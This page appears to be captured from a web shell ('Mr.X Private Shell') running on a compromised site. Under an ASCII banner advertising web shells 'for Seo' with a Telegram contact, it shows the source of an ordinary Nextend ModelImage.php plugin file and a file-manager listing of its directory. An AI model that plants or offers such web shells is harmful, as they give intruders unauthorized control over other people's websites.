__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\Image;
use Nextend\Framework\Form\Container\ContainerTable;
use Nextend\Framework\Form\ContainerInterface;
use Nextend\Framework\Form\Element\EmptyArea;
use Nextend\Framework\Form\Element\Text\FieldImage;
use Nextend\Framework\Form\Form;
use Nextend\Framework\Visual\ModelVisual;
class ModelImage extends ModelVisual {
protected $type = 'image';
/** @var ImageStorage */
protected $storage;
protected function init() {
$this->storage = new ImageStorage();
}
public function renderForm() {
$form = new Form($this, 'n2-image-editor');
$container = $form->getContainer();
$desktopTable = new ContainerTable($container, 'desktop', n2_('Desktop'));
$previewRow = $desktopTable->createRow('desktop-preview');
new EmptyArea($previewRow, 'desktop-preview', n2_('Preview'));
$this->renderDeviceTab($container, 'desktop-retina', n2_('Desktop retina'));
$this->renderDeviceTab($container, 'tablet', n2_('Tablet'));
$this->renderDeviceTab($container, 'mobile', n2_('Mobile'));
$form->render();
}
/**
* @param ContainerInterface $container
*/
private function renderDeviceTab($container, $name, $label) {
$table = new ContainerTable($container, $name, $label);
$row1 = $table->createRow('desktop-row-1');
new FieldImage($row1, $name . '-image', n2_('Image'));
$previewRow = $table->createRow($name . '-preview');
new EmptyArea($previewRow, $name . '-preview', n2_('Preview'));
}
public function addVisual($image, $visual) {
$visualId = $this->storage->add($image, $visual);
$visual = $this->storage->getById($visualId);
if (!empty($visual)) {
return $visual;
}
return false;
}
public function getVisual($image) {
return $this->storage->getByImage($image);
}
public function deleteVisual($id) {
$visual = $this->storage->getById($id);
$this->storage->deleteById($id);
return $visual;
}
public function changeVisual($id, $value) {
if ($this->storage->setById($id, $value)) {
return $this->storage->getById($id);
}
return false;
}
public function getVisuals($setId) {
return $this->storage->getAll();
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Block | Folder | 0775 |
|
|
| Joomla | Folder | 0775 |
|
|
| AbstractPlatformImage.php | File | 184 B | 0664 |
|
| ControllerAjaxImage.php | File | 2.53 KB | 0664 |
|
| Image.php | File | 1.87 KB | 0664 |
|
| ImageEdit.php | File | 25.02 KB | 0664 |
|
| ImageManager.php | File | 1.53 KB | 0664 |
|
| ImageStorage.php | File | 3.28 KB | 0664 |
|
| ModelImage.php | File | 2.34 KB | 0664 |
|